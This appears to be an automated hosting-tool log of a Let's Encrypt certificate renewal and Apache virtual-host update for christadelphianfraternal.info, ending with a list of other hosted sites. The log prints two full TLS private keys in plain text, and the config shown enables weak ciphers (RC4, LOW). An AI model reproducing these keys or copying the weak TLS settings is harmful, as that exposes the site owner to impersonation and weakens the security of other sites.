DlULLCx0JlBIGDY2WjRN6gjYXI1MelkoATHW+WnlxwB3AMs49xWJfIShRF9bwd37
yW7ymlnNRwppBYWwyxTDFFjnAAABmhTN9xkAAAQDAEgwRgIhAN2EjCsDoqkfzKRc
JVyUQPck/Zsyhhm0fJraW6WVl3nwAiEA68hz7KEdrlKPtTC2TVw5VesUGmxUpil1
s0x0w2BfdJYwDQYJKoZIhvcNAQELBQADggEBAHHEf2awENkmvEiuqMDyeC1EB/ZT
4wY/sBSUc8aIpzSnRfty7U54P5KNHsJBclywI9CQ/5WfwvvNWSIm2+WcC/fsouFg
RYNPuG/GqAfRtBhH1V1PNV7bOZhoG39b+PDv1lhROWSjnGXFdSG0OnOdF/3OcWhS
G9YBZVyW7KUusvLfe3fZRIvXCjqSVs6iR57SZdmosPwfjoyA0becmgaJpVD9Gi+n
NQWbrT0/YDiLHdprxUHLFcPGoVkLFF3BpJewODld162FLmoLXq/6IGLkmnE8MV/X
3gzI7fobsBwXRuuQjtbXU+cHOTZBNE2fst5nNNHgQnKA7Bge2S7S+9nQqxk=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDkTHZYxJquHBKH
7xee8nOU0qQWXLSdqARIdbVEa/vWBiHymaUNge6MU1KdIewFCCuhVgxLk2Nb3rSk
lRV+6Q9rkMjxTOga2I2qgXOPxH3jKeHvebPKctZdHkzNaNxUMmzbsvUaHHk4F5/K
CPXRhIAOYYJH6OzziUC3iIXvHarebyp4ZtZiYTL7utp6LtaMkAT1warwzN2gxhpe
VA0+D9W/HurmVElcqrpw26ZCBM3Y1sCrtwYwMNkzxjJpYK+J5DZ0Gp1tKDsc6llx
iTHzOmlkrTkDfbPaB8K068nszn4vIhqDJZJPtfwuFKCDXL1Sqv7oIoeqU2uAzf4P
crt3g1L3AgMBAAECggEBAJI9vK2+Owt+5gv3h10FGC7kA8JjXjuDjkLQS+5pcae2
w/ZAn68YZTO0iD4ppaPPiQtPMI8U+de2wGaRLXTfXEZeN6oCxsezooPvapRUnQNw
J8+cWSQ9Db4Wk8IdAs5Ygsz1RPaV+LyKvYvQ046D3vfXVHo15dtXN4KZzJnQmkzj
GM0XUnryIe+K8/LtxqmFZnhM/T5Fe8u0AvwEFABfAGPqMxz+iisX1KZ2Xtid4uVV
YoqKx9jTjK/xVxJb0yJwi2HfoxauwZEVvX1xo6I9jv7Xt5T1bJ6M3nH2xNz+vBvL
6rxDAv/8mDyg7dNP7ln/wbcWGyLsfynzoPeJFFhEJlECgYEA/8fkuRl19SVvucIw
RvWuXrXS0k/jMi27QUWKsmsauUqimSsWiQnyh8wL4ly3ttgNELYOnXb/EGfB/yy0
LdgQZTY7H6lzgHgOzZ1pitLvY2tiMVSyQ1OiEorIzx3VVqHBsZR6wegy0UxqXqRL
yXiwT1zby3yqw1OI4wUe2wCUIG8CgYEA5H6KX6p+zTWFPRyZzmJ+QIsG6vOSofKT
ub8xw7szHGaQ/1WHW/PMURIt1L6a2S+0QO8Oz3Ph2UO+iup0h7Slim3gVtCLD1ib
O7S2Sop+nfbDoKQMy1rUhO5KItGianyZ0bzLE7U72y3oRWs+Cw4GZUcKcuxFsSgN
I4Jr2tiiKfkCgYBEdLdeYtYTGkXgrXxGQZK9fmRCLWddEqg/O+F3BvtMBBGodMO/
QY5LkezMVIxGv2QfyNn4gtSZC2v8Y3aFnoIk1HLWcn+bLoanuS16HiI7tY2+LjDX
nBaQZ9x+sjlaykgQwvBn3UFcitsdIVO3RDnLw8p/l4oMZNsKB2DOtETwuQKBgGnw
ydOFR3l54SbuhdmNDSB71V9GQ6xWvmuW3En2F8KJQ50/WJ0nsom8Nge3wDAG0Dpz
HJjPD94ebNAX2KO6/C3st+FIm9EnsgHCzepNwFsZOKbYqR34JSTlHvZ54CYjU2ZN
dJLUqsX6yQC2snOJsyluAMg8CCwVd9II/FzhqH5xAoGAQhGtgx8Dn1o7z4MsBplH
De6TTimj+jKe9jb3b+XHZPC7xdL47ag+19LN4ruEt1zLtC1nxFFxs5Ptn2iLX2ce
NFr4Mc2SqdCHW2q2oHhxjoEvJnOMKX9U9knaA/rFEBhHy6jpJVfC+1bkXniSWHiA
tCc7d3rd2xM/8ckLkqeR1Jw=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2025-10-24 06:00:35: Establishing a connection
2025-10-24 06:00:35: Establishing a connection
2025-10-24 06:00:35: 

PUT: /tmp/pkp716118

#!/bin/bash
if [ -d "/var/www/christadelphianfraternal_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-10-24 06:00:35: 

chmod 755 /tmp/pkp716118; /tmp/pkp716118; rm /tmp/pkp716118

2025-10-24 06:00:35: 


1


2025-10-24 06:00:36: Establishing a connection
2025-10-24 06:00:36: 

PUT: /tmp/pkp500178

#!/bin/bash
mkdir -p "/var/www/christadelphianfraternal_www/.well-known/acme-challenge/"
cd "/var/www/christadelphianfraternal_www/.well-known/acme-challenge/"
cat > K96Cto1eLseaCi6vgIPMDKd2y4DHN-_aqDPbGubaigY <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
K96Cto1eLseaCi6vgIPMDKd2y4DHN-_aqDPbGubaigY.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 K96Cto1eLseaCi6vgIPMDKd2y4DHN-_aqDPbGubaigY
cat > 37t9hlfrLVSWKQvZAqdrkKBSgMbjKEOHRJZ51T__LAI <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
37t9hlfrLVSWKQvZAqdrkKBSgMbjKEOHRJZ51T__LAI.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 37t9hlfrLVSWKQvZAqdrkKBSgMbjKEOHRJZ51T__LAI


2025-10-24 06:00:36: 

chmod 755 /tmp/pkp500178; /tmp/pkp500178; rm /tmp/pkp500178

2025-10-24 06:00:36: 




2025-10-24 06:00:47: Establishing a connection
2025-10-24 06:00:47: 

PUT: /tmp/pkp635963

#!/bin/bash
mkdir -p "/var/www/christadelphianfraternal_www/.well-known/acme-challenge/"
cd "/var/www/christadelphianfraternal_www/.well-known/acme-challenge/"
rm K96Cto1eLseaCi6vgIPMDKd2y4DHN-_aqDPbGubaigY
rm 37t9hlfrLVSWKQvZAqdrkKBSgMbjKEOHRJZ51T__LAI


2025-10-24 06:00:47: 

chmod 755 /tmp/pkp635963; /tmp/pkp635963; rm /tmp/pkp635963

2025-10-24 06:00:47: 




2025-10-24 06:00:47: Establishing a connection
2025-10-24 06:00:47: 

PUT: /tmp/pkp213124

#!/bin/bash
temp_file=$(mktemp)
TARGET=b4498780588346731659d115ecf1bb4c.crt

cat > $temp_file <<'endmsg'
40:45:62:18:22:d3:ce:02:4e:df:48:5b:ce:01:22:9c

-----BEGIN CERTIFICATE-----
MIIFODCCBCCgAwIBAgISBYFz2dckSbC/cAFNF+XMN0UJMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMDI0MDUwMjE2WhcNMjYwMTIyMDUwMjE1WjAoMSYwJAYDVQQD
Ex1jaHJpc3RhZGVscGhpYW5mcmF0ZXJuYWwuaW5mbzCCASIwDQYJKoZIhvcNAQEB
BQADggEPADCCAQoCggEBAK9U/opYhuq5DpzylIO6TlmnOtk6ysLNlBzMQIjCElVk
pnniWfcWxAkfznUsqWj+smJ7oPsKIdNspmokFFIPZVhk/kAAo3ZbyPEkOm+q9Ec8
pnC1UXRRyNBiFXRo3Y0eXPStZ+yqCjuP/QglZehQDkkZd3+dRO08zWpzdGOT9m+C
2gykHgVAGUW4IHRufE/J7YMX9KbzBawXdLnuytnFC4CKi37Omy7Z0QY0vfJublyE
IFVRcjCEx7v68XJbXFn958Aq1sKcpRAuNnxxsoO5m/1brCI0RcW+ZMMX9r2oL8qU
VnJfP7jeIuGndBraT5IPHy58+MqWTlh/+/erGrzg49sCAwEAAaOCAk8wggJLMA4G
A1UdDwEB/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYD
VR0TAQH/BAIwADAdBgNVHQ4EFgQUt6fNsnQO588v9ZZuYzJsGcrg/z4wHwYDVR0j
BBgwFoAU56ufDywzoFPTXk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsG
AQUFBzAChhdodHRwOi8vcjEzLmkubGVuY3Iub3JnLzBLBgNVHREERDBCgh1jaHJp
c3RhZGVscGhpYW5mcmF0ZXJuYWwuaW5mb4Ihd3d3LmNocmlzdGFkZWxwaGlhbmZy
YXRlcm5hbC5pbmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6Ah
oB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMTAuY3JsMIIBAwYKKwYBBAHWeQIE
AgSB9ASB8QDvAHUASZybad4dfOz8Nt7Nh2SmuFuvCoeAGdFVUvvp6ynd+MMAAAGa
FM4pmwAABAMARjBEAiBOX1g2IAdEWfeE8UuELqwCUmsWH4DI19DleiFtn4KaYgIg
JdHY8Ah7tR06z40Li3BR0PNAhVjkkV2mVX50Z4hLOkIAdgCWl2S/VViXrfdDh2g3
CEJ36fA61fak8zZuRqQ/D8qpxgAAAZoUzinWAAAEAwBHMEUCIAh4fnxWlgNid3ZZ
5k9NVX7xjHgr4WnCMDmivaX1PqboAiEA1T/9ko1BlVD5cVDM4V3GriZsrjpgHk5b
1JJXECbRr28wDQYJKoZIhvcNAQELBQADggEBACoVZexqk3NgN7NRCBrtvpgqye3j
JmIeiOvNJzPjQ28Mi32uBBCFNYv5xD00ubkqebFAMraWxqNwOlAffMDfvs5XyimD
4Ig/QAjHo4UQEh280j8/l2+IAsZOzJQqSwHGyHOmpkAG7ihOHMUAaTFaFN+WxhVW
DX21BmC8kkTZnMtlCJOS2Y4atoTSxHVtdHCtfStxprJM/HjuVDFOjoKj/6DSQ0Np
7FHV/jKBsoVof9N3P+OrOk1KzWV8JxD1AKwejd9NJfynON1MBt9pHV7hR+meHkwg
benEDWVJYEV2oH3Fve/uQzwJpSbyeIRrhwb9kkGUBlwiLoV9ndTaEyHF4NY=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCvVP6KWIbquQ6c
8pSDuk5ZpzrZOsrCzZQczECIwhJVZKZ54ln3FsQJH851LKlo/rJie6D7CiHTbKZq
JBRSD2VYZP5AAKN2W8jxJDpvqvRHPKZwtVF0UcjQYhV0aN2NHlz0rWfsqgo7j/0I
JWXoUA5JGXd/nUTtPM1qc3Rjk/ZvgtoMpB4FQBlFuCB0bnxPye2DF/Sm8wWsF3S5
7srZxQuAiot+zpsu2dEGNL3ybm5chCBVUXIwhMe7+vFyW1xZ/efAKtbCnKUQLjZ8
cbKDuZv9W6wiNEXFvmTDF/a9qC/KlFZyXz+43iLhp3Qa2k+SDx8ufPjKlk5Yf/v3
qxq84OPbAgMBAAECggEAEA1IAIJ6V6L5o4TR8/1qjuqwiJLJXWxU0w4gGmUqKIc+
dooyklyTNgKjdDbSi7pFup527oTO8/xOgAktkxW1wZH9dP6Z+IwOqYUXlIGiO6Nh
2Y/AFVYnfGx+alnvbqwI9p2plhE7PpjAIa7K1an+pNKgDh7n4JBgfg5z6WnydeLu
DiUO28xjq5VMqeagJXl28BhJhen45+XTs9M/SFO8hKSzUOXJYiVAA8CwZlHcC+fw
1a8DPQE0XulBt5adwD/P/ukCd3lAmsHYyQoVq55nAubIrHgIDZa0lEGysqUfs2vi
SZqbu7luS9J1wGBbQitI0BtKS7TCNYrh5ZArg6dOAQKBgQDj6IoWryN2e9mD0cMm
iYZiNor1IxJsvH1S3MCI6AQ5Pu/xI3m+hU8f7+wJIVwPksSytCSJJRCmLN/q+hDb
k+Y9Ovpptrs0GiQ/Bj803erSuv8konQVWw975lI/SWtcctp39eRJJU9mDOv3dwtt
jvE0QgWQatPht+iXanXU3VIC6wKBgQDE8XOV+ieUy4jtOWX1AJAn54yWdhMqQ5/I
Bdgb52JoFdx7Zd2jqZmeRVuk0PmxfG+x/2PTXoyl/cx95ocIVN+tTjEMxRDiHNip
2xwEkoTyKeEnyXLa1/Z/Q5ZQ3mZePfkdDrQUV/H6usI/FDAB/WBZtlxXAkZEl9c+
/GUDfdEG0QKBgBIRwcECqcEfGKPG4b4QcUMgJ+w/l5pfZ2BGeE1id9NCFiv8MA7W
6usRTpl6t53UeRviBHOLKMLEFAzBPszp8PsxzeDLyBPdbrpAeIpsfc2vXcM9zg5T
Zerg2+yAma5+vKt+J1dVSfJBXAQGwDUzfBQ0l9RXY+0lc59tpWH3GiV5AoGBAMFN
EBsjlhf4kiPtE4KfE97m6VmA+RyhlUGZYt04haEN3AOOHzYVMD9laibiKkInleYK
equrALen3T+xtdXaoFSVC5WyEvksQQiuk9h1C2I48tK/aikckcelyfMD50wW3dzE
YsIY89wZ1LBfGyPI0vobAJUyGVAYDN+4kVkU88YRAoGASRFQtSDln7zF8DMFqNt8
Cn4cMQi3BrZ7u9TwblcCDXBqr2zD88ImzLDmbh/afZCFKpqSAXW6y2DaT6ulonDs
IzIElOZDoDbkgx8t9CMMlvl0bss1A2EXc/ga2Avdc0HYeNoSSECLsyesrHsWAbzj
gsk9WcFSmCbC6QPpGU4RIqM=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-10-24 06:00:48: 

chmod 755 /tmp/pkp213124; /tmp/pkp213124; rm /tmp/pkp213124

2025-10-24 06:00:48: 


dir=/etc/ssl/certs


2025-10-24 06:00:48: 

PUT: /tmp/pkp707381

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-10-24 06:00:48: 

chmod 755 /tmp/pkp707381; /tmp/pkp707381; rm /tmp/pkp707381

2025-10-24 06:00:48: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf 57

<VirtualHost *:80>
    ServerName	christadelphianfraternal.info
    ServerAlias	www.christadelphianfraternal.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/christadelphianfraternal_www
    <Directory /var/www/christadelphianfraternal_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/christadelphianfraternal/www_access.log combined
    ErrorLog	/var/log/apache2/christadelphianfraternal/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	christadelphianfraternal.info
    ServerAlias	www.christadelphianfraternal.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/b4498780588346731659d115ecf1bb4c.crt
    DocumentRoot	/var/www/christadelphianfraternal_www
    <Directory /var/www/christadelphianfraternal_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/christadelphianfraternal/www_secure_access.log combined
    ErrorLog	/var/log/apache2/christadelphianfraternal/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-10-24 06:00:48: 

PUT: /tmp/pkp629687

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=christadelphianfraternal_www_info.conf
TARGET=/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	christadelphianfraternal.info
    ServerAlias	www.christadelphianfraternal.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/christadelphianfraternal_www
    <Directory /var/www/christadelphianfraternal_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/christadelphianfraternal/www_access.log combined
    ErrorLog	/var/log/apache2/christadelphianfraternal/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	christadelphianfraternal.info
    ServerAlias	www.christadelphianfraternal.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/b4498780588346731659d115ecf1bb4c.crt
    DocumentRoot	/var/www/christadelphianfraternal_www
    <Directory /var/www/christadelphianfraternal_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/christadelphianfraternal/www_secure_access.log combined
    ErrorLog	/var/log/apache2/christadelphianfraternal/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf)= /etc/apache2//etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf= 1'
fi


2025-10-24 06:00:48: 

chmod 755 /tmp/pkp629687; /tmp/pkp629687; rm /tmp/pkp629687

2025-10-24 06:00:48: 




2025-10-24 06:00:48: 

PUT: /tmp/pkp923840

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-10-24 06:00:48: 

chmod 755 /tmp/pkp923840; /tmp/pkp923840; rm /tmp/pkp923840

2025-10-24 06:00:48: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-10-24 06:00:48: Establishing a connection
2025-10-24 06:00:48: 

PUT: /tmp/pkp892697

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-10-24 06:00:48: 

chmod 755 /tmp/pkp892697; /tmp/pkp892697; rm /tmp/pkp892697

2025-10-24 06:00:48: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
                 alias www.carelinksoutreach.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
